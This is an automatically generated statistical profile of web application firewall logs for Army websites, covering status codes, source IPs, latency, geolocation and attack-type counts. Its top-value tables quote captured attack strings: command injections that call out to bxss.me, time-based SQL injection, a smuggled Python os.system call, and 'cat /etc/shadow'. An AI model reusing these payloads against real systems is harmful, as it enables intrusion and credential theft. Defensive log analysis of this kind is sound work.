HTTPSTATUSCODE
Real number (ℝ≥0)

Distinct15
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Infinite0
Infinite (%)0.0%
Mean287.526864
Minimum0
Maximum504
Zeros5
Zeros (%)< 0.1%
Memory size346.5 KiB
2020-09-26T20:30:49.980731image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Quantile statistics

Minimum0
5-th percentile200
Q1200
median200
Q3401
95-th percentile404
Maximum504
Range504
Interquartile range (IQR)201

Descriptive statistics

Standard deviation96.78283462
Coefficient of variation (CV)0.3366044942
Kurtosis-1.585023004
Mean287.526864
Median Absolute Deviation (MAD)0
Skewness0.3653820334
Sum12752679
Variance9366.917078
MonotocityNot monotonic
2020-09-26T20:30:50.076926image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram with fixed size bins (bins=15)
ValueCountFrequency (%) 
2002299251.8%
 
403695615.7%
 
400462410.4%
 
30228666.5%
 
40422505.1%
 
40119794.5%
 
30119614.4%
 
5043050.7%
 
5032230.5%
 
5001220.3%
 
Other values (5)750.2%
 
ValueCountFrequency (%) 
05< 0.1%
 
2002299251.8%
 
206610.1%
 
30119614.4%
 
30228666.5%
 
ValueCountFrequency (%) 
5043050.7%
 
5032230.5%
 
5001220.3%
 
4154< 0.1%
 
4054< 0.1%
 

IPBRANCHCATEGORY_SERVER
Categorical

CONSTANT
REJECTED

Distinct1
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
Army
44353 
ValueCountFrequency (%) 
Army44353100.0%
 
2020-09-26T20:30:50.180651image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:50.249501image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:50.311332image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length4
Median length4
Mean length4
Min length4

IPBRANCHCATEGORY_SRC
Categorical

CONSTANT
REJECTED

Distinct1
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
Non-Army
44353 
ValueCountFrequency (%) 
Non-Army44353100.0%
 
2020-09-26T20:30:50.407076image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:50.471937image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:50.533774image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length8
Median length8
Mean length8
Min length8

IP_DST_EFFECTIVE
Categorical

HIGH CARDINALITY

Distinct353
Distinct (%)0.8%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
35.201.230.163
32669 
139.59.78.47
 
699
123.136.115.6
 
647
172.125.224.94
 
599
193.148.18.35
 
547
Other values (348)
9192 
ValueCountFrequency (%) 
35.201.230.1633266973.7%
 
139.59.78.476991.6%
 
123.136.115.66471.5%
 
172.125.224.945991.4%
 
193.148.18.355471.2%
 
167.99.188.1795011.1%
 
138.68.29.2414971.1%
 
167.71.234.854601.0%
 
93.115.18.2134531.0%
 
70.27.174.2053850.9%
 
Other values (343)689615.5%
 
2020-09-26T20:30:50.656411image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique118 ?
Unique (%)0.3%
2020-09-26T20:30:50.784070image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length15
Median length14
Mean length13.77976687
Min length10

IP_DST_FORWARDED
Categorical

HIGH CARDINALITY
MISSING

Distinct1772
Distinct (%)85.6%
Missing42283
Missing (%)95.3%
Memory size346.5 KiB
${@print(md5(31337))}
 
149
${@print(md5(31337))}\
 
149
echo%20ollwmg$()\%20ontenc\nz^xyu||a%20#'%20&echo%20ollwmg$()\%20ontenc\nz^xyu||a%20#|%22%20&echo%20ollwmg$()\%20ontenc\nz^xyu||a%20#
 
3
`(nslookup%20hiticoeudwuxn9f52e.bxss.me||perl%20-e%20%22gethostbyname('hiticoeudwuxn9f52e.bxss.me')%22)`
 
1
pTalkf5e'));%20waitfor%20delay%20'0:0:12'%20--
 
1
Other values (1767)
1767 
ValueCountFrequency (%) 
${@print(md5(31337))}1490.3%
 
${@print(md5(31337))}\1490.3%
 
echo%20ollwmg$()\%20ontenc\nz^xyu||a%20#'%20&echo%20ollwmg$()\%20ontenc\nz^xyu||a%20#|%22%20&echo%20ollwmg$()\%20ontenc\nz^xyu||a%20#3< 0.1%
 
`(nslookup%20hiticoeudwuxn9f52e.bxss.me||perl%20-e%20%22gethostbyname('hiticoeudwuxn9f52e.bxss.me')%22)`1< 0.1%
 
pTalkf5e'));%20waitfor%20delay%20'0:0:12'%20--1< 0.1%
 
ygDBHVSN');%20waitfor%20delay%20'0:0:12'%20--1< 0.1%
 
echo%20jbrwta$()\%20wvrynj\nz^xyu||a%20#'%20&echo%20jbrwta$()\%20wvrynj\nz^xyu||a%20#|%22%20&echo%20jbrwta$()\%20wvrynj\nz^xyu||a%20#1< 0.1%
 
$(nslookup%20hitbwxinojwoj04322.bxss.me||perl%20-e%20%22gethostbyname('hitbwxinojwoj04322.bxss.me')%22)1< 0.1%
 
`(nslookup%20hiteaugvreicc6f8c1.bxss.me||perl%20-e%20%22gethostbyname('hiteaugvreicc6f8c1.bxss.me')%22)`1< 0.1%
 
32LAZ6CP';%20waitfor%20delay%20'0:0:12'%20--1< 0.1%
 
Other values (1762)17624.0%
 
(Missing)4228395.3%
 
2020-09-26T20:30:50.921702image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique1769 ?
Unique (%)85.5%
2020-09-26T20:30:51.076311image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length309
Median length3
Mean length7.944558429
Min length3

IP_SERVER
Categorical

CONSTANT
REJECTED

Distinct1
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
143.84.8.2
44353 
ValueCountFrequency (%) 
143.84.8.244353100.0%
 
2020-09-26T20:30:51.214940image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:51.299713image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:51.379500image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length10
Median length10
Mean length10
Min length10

IP_SRC
Categorical

HIGH CARDINALITY

Distinct353
Distinct (%)0.8%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
35.201.230.163
32669 
139.59.78.47
 
699
123.136.115.6
 
647
172.125.224.94
 
599
193.148.18.35
 
547
Other values (348)
9192 
ValueCountFrequency (%) 
35.201.230.1633266973.7%
 
139.59.78.476991.6%
 
123.136.115.66471.5%
 
172.125.224.945991.4%
 
193.148.18.355471.2%
 
167.99.188.1795011.1%
 
138.68.29.2414971.1%
 
167.71.234.854601.0%
 
93.115.18.2134531.0%
 
70.27.174.2053850.9%
 
Other values (343)689615.5%
 
2020-09-26T20:30:51.528102image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique118 ?
Unique (%)0.3%
2020-09-26T20:30:51.673211image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length15
Median length14
Mean length13.77976687
Min length10

LATENCY
Real number (ℝ≥0)

HIGH CORRELATION
MISSING
SKEWED

Distinct3074
Distinct (%)8.0%
Missing5889
Missing (%)13.3%
Infinite0
Infinite (%)0.0%
Mean501.4412698
Minimum1
Maximum357720
Zeros0
Zeros (%)0.0%
Memory size346.5 KiB
2020-09-26T20:30:51.793890image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Quantile statistics

Minimum1
5-th percentile2
Q18
median14
Q333
95-th percentile1775.85
Maximum357720
Range357719
Interquartile range (IQR)25

Descriptive statistics

Standard deviation6175.25248
Coefficient of variation (CV)12.31500647
Kurtosis1106.177313
Mean501.4412698
Median Absolute Deviation (MAD)9
Skewness31.60678497
Sum19287437
Variance38133743.19
MonotocityNot monotonic
2020-09-26T20:30:51.921699image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram with fixed size bins (bins=50)
ValueCountFrequency (%) 
1343139.7%
 
1421584.9%
 
219004.3%
 
1217754.0%
 
414363.2%
 
712662.9%
 
1512152.7%
 
612122.7%
 
511642.6%
 
310632.4%
 
Other values (3064)2096247.3%
 
(Missing)588913.3%
 
ValueCountFrequency (%) 
19072.0%
 
219004.3%
 
310632.4%
 
414363.2%
 
511642.6%
 
ValueCountFrequency (%) 
3577201< 0.1%
 
2277041< 0.1%
 
2276871< 0.1%
 
2174941< 0.1%
 
2174531< 0.1%
 

LATITUDE_SERVER
Categorical

CONSTANT
HIGH CORRELATION
REJECTED

Distinct1
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
31.567824
44353 
ValueCountFrequency (%) 
31.56782444353100.0%
 
2020-09-26T20:30:52.063389image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:52.131176image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:52.196002image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length18
Median length18
Mean length18
Min length18

LATITUDE_SRC
Real number (ℝ)

Distinct250
Distinct (%)0.6%
Missing7
Missing (%)< 0.1%
Infinite0
Infinite (%)0.0%
Mean26.02024439
Minimum-37.744
Maximum64.8276
Zeros0
Zeros (%)0.0%
Memory size346.5 KiB
2020-09-26T20:30:52.301159image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Quantile statistics

Minimum-37.744
5-th percentile12.9719
Q125.0478
median25.0478
Q325.0478
95-th percentile43.6547
Maximum64.8276
Range102.5716
Interquartile range (IQR)0

Descriptive statistics

Standard deviation11.11253987
Coefficient of variation (CV)0.4270728475
Kurtosis10.20571086
Mean26.02024439
Median Absolute Deviation (MAD)0
Skewness-1.767719684
Sum1153893.758
Variance123.4885423
MonotocityNot monotonic
2020-09-26T20:30:52.428891image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram with fixed size bins (bins=50)
ValueCountFrequency (%) 
25.04783266973.7%
 
37.34178662.0%
 
12.97217201.6%
 
3.13936471.5%
 
29.55315991.4%
 
40.71575471.2%
 
-30.11565461.2%
 
12.97195231.2%
 
43.65475011.1%
 
52.52754531.0%
 
Other values (240)627514.1%
 
ValueCountFrequency (%) 
-37.7442< 0.1%
 
-34.76677< 0.1%
 
-33.8884510.1%
 
-33.8591280.1%
 
-30.11565461.2%
 
ValueCountFrequency (%) 
64.82765< 0.1%
 
60.171718< 0.1%
 
60.1708240.1%
 
59.86665< 0.1%
 
59.40321< 0.1%
 

LOCAL_TIMESTAMP
Categorical

HIGH CARDINALITY

Distinct19141
Distinct (%)43.2%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
2020-09-01T02:14:36-03:00[America/Sao_Paulo]
 
109
2020-08-07T04:57:37-04:00[America/New_York]
 
56
2020-09-01T02:14:31-03:00[America/Sao_Paulo]
 
46
2020-09-01T23:23:03-04:00[America/Toronto]
 
46
2020-09-01T00:25:06-03:00[America/Sao_Paulo]
 
46
Other values (19136)
44050 
ValueCountFrequency (%) 
2020-09-01T02:14:36-03:00[America/Sao_Paulo]1090.2%
 
2020-08-07T04:57:37-04:00[America/New_York]560.1%
 
2020-09-01T02:14:31-03:00[America/Sao_Paulo]460.1%
 
2020-09-01T23:23:03-04:00[America/Toronto]460.1%
 
2020-09-01T00:25:06-03:00[America/Sao_Paulo]460.1%
 
2020-09-04T06:57:14+05:30[Asia/Kolkata]450.1%
 
2020-09-04T06:56:36+05:30[Asia/Kolkata]450.1%
 
2020-09-03T09:30:47+05:30[Asia/Kolkata]450.1%
 
2020-09-02T00:29:50-04:00[America/Toronto]450.1%
 
2020-09-03T02:44:13-04:00[America/Toronto]440.1%
 
Other values (19131)4382698.8%
 
2020-09-26T20:30:52.600462image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique9266 ?
Unique (%)20.9%
2020-09-26T20:30:52.727121image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length57
Median length38
Mean length39.05066174
Min length34

LONGITUDE_SERVER
Categorical

CONSTANT
HIGH CORRELATION
REJECTED

Distinct1
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
-110.376817
44353 
ValueCountFrequency (%) 
-110.37681744353100.0%
 
2020-09-26T20:30:52.829723image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:52.896546image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:52.958418image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length19
Median length19
Mean length19
Min length19

LONGITUDE_SRC
Real number (ℝ)

Distinct250
Distinct (%)0.6%
Missing7
Missing (%)< 0.1%
Infinite0
Infinite (%)0.0%
Mean82.30450888
Minimum-158.5996
Maximum151.2118
Zeros0
Zeros (%)0.0%
Memory size346.5 KiB
2020-09-26T20:30:53.057665image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Quantile statistics

Minimum-158.5996
5-th percentile-98.3598
Q1105.8516
median121.5318
Q3121.5318
95-th percentile121.5318
Maximum151.2118
Range309.8114
Interquartile range (IQR)15.6802

Descriptive statistics

Standard deviation77.12676849
Coefficient of variation (CV)0.9370904405
Kurtosis1.16142238
Mean82.30450888
Median Absolute Deviation (MAD)0
Skewness-1.689309886
Sum3649875.751
Variance5948.538418
MonotocityNot monotonic
2020-09-26T20:30:53.171328image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram with fixed size bins (bins=50)
ValueCountFrequency (%) 
121.53183266973.7%
 
-121.97538662.0%
 
77.59337201.6%
 
101.70086471.5%
 
-98.35985991.4%
 
-745471.2%
 
-51.16535461.2%
 
77.59375231.2%
 
-79.36235011.1%
 
5.7274531.0%
 
Other values (240)627514.1%
 
ValueCountFrequency (%) 
-158.59965< 0.1%
 
-158.043513< 0.1%
 
-158.04193< 0.1%
 
-158.01934< 0.1%
 
-158.01819< 0.1%
 
ValueCountFrequency (%) 
151.2118510.1%
 
151.2002280.1%
 
144.96822< 0.1%
 
127.366713< 0.1%
 
127.1396640.1%
 

MILLISECONDS_TIMETAKEN
Real number (ℝ≥0)

HIGH CORRELATION
SKEWED

Distinct3703
Distinct (%)8.3%
Missing0
Missing (%)0.0%
Infinite0
Infinite (%)0.0%
Mean1038.579172
Minimum1
Maximum461412
Zeros0
Zeros (%)0.0%
Memory size346.5 KiB
2020-09-26T20:30:53.299983image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Quantile statistics

Minimum1
5-th percentile5
Q115
median219
Q3437
95-th percentile2116.4
Maximum461412
Range461411
Interquartile range (IQR)422

Descriptive statistics

Standard deviation9530.059033
Coefficient of variation (CV)9.176054453
Kurtosis495.3748792
Mean1038.579172
Median Absolute Deviation (MAD)205
Skewness20.11714612
Sum46064102
Variance90822025.17
MonotocityNot monotonic
2020-09-26T20:30:53.418665image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram with fixed size bins (bins=50)
ValueCountFrequency (%) 
1625055.6%
 
415303.4%
 
512002.7%
 
1711152.5%
 
610482.4%
 
109982.3%
 
99692.2%
 
118942.0%
 
88101.8%
 
77891.8%
 
Other values (3693)3249573.3%
 
ValueCountFrequency (%) 
11260.3%
 
21670.4%
 
33200.7%
 
415303.4%
 
512002.7%
 
ValueCountFrequency (%) 
4614121< 0.1%
 
3746411< 0.1%
 
3059301< 0.1%
 
2817511< 0.1%
 
2781681< 0.1%
 

ORGANIZATION_OWNER_SERVER
Categorical

CONSTANT
REJECTED

Distinct1
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
HQ, 7TH SIGNAL COMMAND
44353 
ValueCountFrequency (%) 
HQ, 7TH SIGNAL COMMAND44353100.0%
 
2020-09-26T20:30:53.532362image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:53.600213image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:53.662050image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length22
Median length22
Mean length22
Min length22

OUTBOUNDINTERFACE_DEVICE
Categorical

MISSING

Distinct17
Distinct (%)0.8%
Missing42193
Missing (%)95.1%
Memory size346.5 KiB
143.84.8.62
613 
143.84.8.65
328 
143.84.8.115
209 
143.84.8.31
172 
143.84.8.130
117 
Other values (12)
721 
ValueCountFrequency (%) 
143.84.8.626131.4%
 
143.84.8.653280.7%
 
143.84.8.1152090.5%
 
143.84.8.311720.4%
 
143.84.8.1301170.3%
 
143.84.8.561170.3%
 
143.84.8.271140.3%
 
143.84.8.151080.2%
 
143.84.8.72620.1%
 
143.84.8.101600.1%
 
Other values (7)2600.6%
 
(Missing)4219395.1%
 
2020-09-26T20:30:53.770307image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:54.162260image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length12
Median length3
Mean length3.39819178
Min length3
Distinct6
Distinct (%)0.1%
Missing38726
Missing (%)87.3%
Memory size346.5 KiB
policy_redirect
2924 
policy_denied
1215 
invalid_request
960 
gateway_error
305 
tcp_error
 
166
ValueCountFrequency (%) 
policy_redirect29246.6%
 
policy_denied12152.7%
 
invalid_request9602.2%
 
gateway_error3050.7%
 
tcp_error1660.4%
 
ssl_failed570.1%
 
(Missing)3872687.3%
 
2020-09-26T20:30:54.262990image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:54.330809image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:54.453520image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length15
Median length3
Mean length4.424999436
Min length3

PORT_DST
Categorical

Distinct2
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
443
40867 
80
 
3486
ValueCountFrequency (%) 
4434086792.1%
 
8034867.9%
 
2020-09-26T20:30:54.558242image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:54.627057image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:54.705987image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length3
Median length3
Mean length2.921403287
Min length2

PRODUCTNAME
Categorical

CONSTANT
REJECTED

Distinct1
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
SGOS 6.7.4.7
44353 
ValueCountFrequency (%) 
SGOS 6.7.4.744353100.0%
 
2020-09-26T20:30:54.809712image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:54.874687image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:54.934529image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length12
Median length12
Mean length12
Min length12

REMARK_PROXSYSG
Categorical

CONSTANT
REJECTED

Distinct1
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK
44353 
ValueCountFrequency (%) 
1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK44353100.0%
 
2020-09-26T20:30:55.028314image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:55.094173image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:55.159997image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length53
Median length53
Mean length53
Min length53

SCORE_BLUECOATWAF
Real number (ℝ≥0)

ZEROS

Distinct18
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Infinite0
Infinite (%)0.0%
Mean16.38243185
Minimum0
Maximum450
Zeros5378
Zeros (%)12.1%
Memory size346.5 KiB
2020-09-26T20:30:55.249758image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Quantile statistics

Minimum0
5-th percentile0
Q110
median20
Q320
95-th percentile30
Maximum450
Range450
Interquartile range (IQR)10

Descriptive statistics

Standard deviation17.70727409
Coefficient of variation (CV)1.080869693
Kurtosis166.1343722
Mean16.38243185
Median Absolute Deviation (MAD)10
Skewness9.340893637
Sum726610
Variance313.5475557
MonotocityNot monotonic
2020-09-26T20:30:55.349133image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram with fixed size bins (bins=18)
ValueCountFrequency (%) 
201787640.3%
 
101662237.5%
 
0537812.1%
 
3035197.9%
 
1403560.8%
 
401990.4%
 
501220.3%
 
100860.2%
 
110760.2%
 
60520.1%
 
Other values (8)670.2%
 
ValueCountFrequency (%) 
0537812.1%
 
101662237.5%
 
201787640.3%
 
3035197.9%
 
401990.4%
 
ValueCountFrequency (%) 
45018< 0.1%
 
1701< 0.1%
 
16011< 0.1%
 
1502< 0.1%
 
1403560.8%
 

SITE_COLLECTION
Categorical

CONSTANT
REJECTED

Distinct1
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
ROCK
44353 
ValueCountFrequency (%) 
ROCK44353100.0%
 
2020-09-26T20:30:55.456885image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:55.522702image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:55.583508image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length4
Median length4
Mean length4
Min length4

TYPE_ATTACK
Categorical

HIGH CARDINALITY

Distinct99
Distinct (%)0.2%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
Command Injection
22276 
SQL Injection;Command Injection
4938 
Cross-Site Scripting;Command Injection
2653 
Command Injection;Other
2380 
Command Injection;Other;SQL Injection
 
1606
Other values (94)
10500 
ValueCountFrequency (%) 
Command Injection2227650.2%
 
SQL Injection;Command Injection493811.1%
 
Cross-Site Scripting;Command Injection26536.0%
 
Command Injection;Other23805.4%
 
Command Injection;Other;SQL Injection16063.6%
 
SQL Injection;Command Injection;Other11762.7%
 
Cross-Site Scripting;Command Injection;Information Disclosure11712.6%
 
SQL Injection;Cross-Site Scripting;Command Injection9892.2%
 
Multiple Encoding;Command Injection9642.2%
 
Directory Traversal;File Disclosure ;Command Injection;Local File Inclusion8631.9%
 
Other values (89)533712.0%
 
2020-09-26T20:30:55.696206image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique15 ?
Unique (%)< 0.1%
2020-09-26T20:30:55.826856image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length125
Median length17
Mean length29.07485401
Min length17

URI_EXTENSION
Categorical

HIGH CARDINALITY
MISSING

Distinct73
Distinct (%)0.3%
Missing17018
Missing (%)38.4%
Memory size346.5 KiB
aspx
18312 
js
2562 
php
1924 
css
 
712
htm
 
664
Other values (68)
3161 
ValueCountFrequency (%) 
aspx1831241.3%
 
js25625.8%
 
php19244.3%
 
css7121.6%
 
htm6641.5%
 
png6581.5%
 
html3740.8%
 
axd3710.8%
 
jpg2390.5%
 
gif1600.4%
 
Other values (63)13593.1%
 
(Missing)1701838.4%
 
2020-09-26T20:30:55.970504image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique10 ?
Unique (%)< 0.1%
2020-09-26T20:30:56.121097image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length44
Median length3
Mean length3.475165152
Min length1

URI_PATH
Categorical

HIGH CARDINALITY

Distinct5718
Distinct (%)12.9%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
/_vti_bin/client.svc/ProcessQuery
 
1679
/
 
1380
/arsouth-newcomers/_vti_bin/client.svc/ProcessQuery
 
1267
/aboutus/_vti_bin/client.svc/ProcessQuery
 
1267
/Leadership/_vti_bin/client.svc/ProcessQuery
 
1267
Other values (5713)
37493 
ValueCountFrequency (%) 
/_vti_bin/client.svc/ProcessQuery16793.8%
 
/13803.1%
 
/arsouth-newcomers/_vti_bin/client.svc/ProcessQuery12672.9%
 
/aboutus/_vti_bin/client.svc/ProcessQuery12672.9%
 
/Leadership/_vti_bin/client.svc/ProcessQuery12672.9%
 
/index.aspx9272.1%
 
/contact.aspx7031.6%
 
/Pages/PageNotFoundError.aspx6881.6%
 
/api/jsonws/invoke6131.4%
 
/Mobile/IrcContactForm.htm4631.0%
 
Other values (5708)3409976.9%
 
2020-09-26T20:30:56.299592image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique4760 ?
Unique (%)10.7%
2020-09-26T20:30:56.490114image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length389
Median length35
Mean length46.27889883
Min length1

URI_QUERY
Categorical

HIGH CARDINALITY
MISSING

Distinct4150
Distinct (%)33.8%
Missing32092
Missing (%)72.4%
Memory size346.5 KiB
?TermId=e3404bb8-e3ed-4c9c-82b3-f1f145779475&TermSetId=7e33f6cb-ca3b-4a32-a184-f50fa157e38c&TermStoreId=857ce9f8-b31f-4fe2-b159-736ac47ac409
 
598
?TermId=ac999aa3-754c-4080-ac99-4c440ec44b2e&TermSetId=7e33f6cb-ca3b-4a32-a184-f50fa157e38c&TermStoreId=857ce9f8-b31f-4fe2-b159-736ac47ac409
 
598
?r=1
 
559
?lang=en
 
463
?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5
 
403
Other values (4145)
9640 
ValueCountFrequency (%) 
?TermId=e3404bb8-e3ed-4c9c-82b3-f1f145779475&TermSetId=7e33f6cb-ca3b-4a32-a184-f50fa157e38c&TermStoreId=857ce9f8-b31f-4fe2-b159-736ac47ac4095981.3%
 
?TermId=ac999aa3-754c-4080-ac99-4c440ec44b2e&TermSetId=7e33f6cb-ca3b-4a32-a184-f50fa157e38c&TermStoreId=857ce9f8-b31f-4fe2-b159-736ac47ac4095981.3%
 
?r=15591.3%
 
?lang=en4631.0%
 
?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=54030.9%
 
?type=kitrace&pid=1%3Becho%20%22bm9uZXhpc3RlbnQ%3D%22%20%7C%20base64%20-d3500.8%
 
?cmd=cat%20/etc/shadow3020.7%
 
?TermId=d17ae0d8-fe39-450b-9bd9-c3fd42ce2299&TermSetId=7e33f6cb-ca3b-4a32-a184-f50fa157e38c&TermStoreId=857ce9f8-b31f-4fe2-b159-736ac47ac4092990.7%
 
?requestUrl=https://www.arsouth.army.mil/NoFearAct.aspx2990.7%
 
?TermId=2fe53341-11de-4e0a-9889-3ba58cd1c955&TermSetId=7e33f6cb-ca3b-4a32-a184-f50fa157e38c&TermStoreId=857ce9f8-b31f-4fe2-b159-736ac47ac4092990.7%
 
Other values (4140)809118.2%
 
(Missing)3209272.4%
 
2020-09-26T20:30:56.674588image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique3916 ?
Unique (%)31.9%
2020-09-26T20:30:56.837152image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length11402
Median length3
Mean length50.68944604
Min length1

URI_SCHEME
Categorical

Distinct2
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
https
40867 
http
 
3486
ValueCountFrequency (%) 
https4086792.1%
 
http34867.9%
 
2020-09-26T20:30:56.970837image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:57.045640image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:57.129988image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length5
Median length5
Mean length4.921403287
Min length4

URL_REFERRER
Categorical

HIGH CARDINALITY
MISSING

Distinct2082
Distinct (%)11.3%
Missing25975
Missing (%)58.6%
Memory size346.5 KiB
https://www.google.com/search?hl=en&q=testing
4716 
https://www.first.army.mil/
3487 
https://www.arsouth.army.mil/
